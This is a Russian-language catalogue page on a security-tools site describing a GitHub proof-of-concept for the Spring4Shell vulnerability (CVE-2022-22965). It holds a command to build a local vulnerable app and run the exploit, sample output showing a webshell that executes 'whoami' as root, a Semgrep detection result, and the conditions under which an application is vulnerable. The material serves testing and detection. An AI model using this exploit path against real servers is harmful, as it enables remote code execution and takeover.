Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
springshell-rce-poc — CVE-2022-22965 - CVE-2010-1622 возвращение | Kitploit
Инструменты/GitHubGitHub/dduarte/springshell-rce-poc
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и Образование
GitHubdduarte/springshell-rce-poc

springshell-rce-poc

CVE-2022-22965 - CVE-2010-1622 возвращение

Репозиторий
191213 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2022-22965 - уязвимое приложение и PoC

Метод проб и ошибок

root@kitploit:~
$ docker rm -f rce; docker build -t rce:latest . && docker run -d -p 8080:8080 --name rce rce:latest && sleep 5 && python poc.py

Пример вывода

root@kitploit:~
rce
sha256:f626a2190dc0790c610afd4f12a4b2482b6a726d671fdac1432275de89c07cd6
1a048e5725f754d331de9491d0750c4c7a163472dea1fd1554edccfd00d7f6e5
deploy <Response [200]>
webshell <Response [404]>
webshell <Response [404]>
webshell <Response [404]>
webshell <Response [404]>
webshell <Response [500]>
webshell http://localhost:8080/tomcatwar.jsp?cmd=whoami
root

Обнаружение с помощью Semgrep

root@kitploit:~
$ semgrep --config=semgrep-rule.yml .

Правило Semgrep и тестовые примеры

Пример вывода

root@kitploit:~
Findings:

  src/main/java/com/example/demo/controller/IndexController.java
     cve-2022-22965
        Semgrep found a match


         14┆ @RequestMapping("/index")
         15┆ public void index(EvalBean evalBean) {
         16┆
         17┆ }

Ran 1 rule on 3 files: 1 finding.

Требования уязвимого приложения1

  • JDK 9 или выше
  • Автономный Tomcat (не встроенный Tomcat) с развертыванием WAR
  • Любая версия Spring до 5.3.18 / 5.2.20 (Spring Boot до 2.5.12 / 2.6.6)
  • Нет блок-листа в WebDataBinder / InitBinder
  • Привязка параметров напрямую к POJO (без @RequestBody, @RequestQuery и т. д.)
  • Записываемая файловая система (например, webapps/ROOT)

Источники

  • https://twitter.com/vxunderground/status/1509170582469943303 / https://github.com/craig/SpringCore0day
  • https://github.com/fengguangbin/spring-rce-war

Footnotes

  1. Предполагаются эксплойты, аналогичные известным PoC. Возможно, есть и другие гаджеты... ↩

Скачать инструмент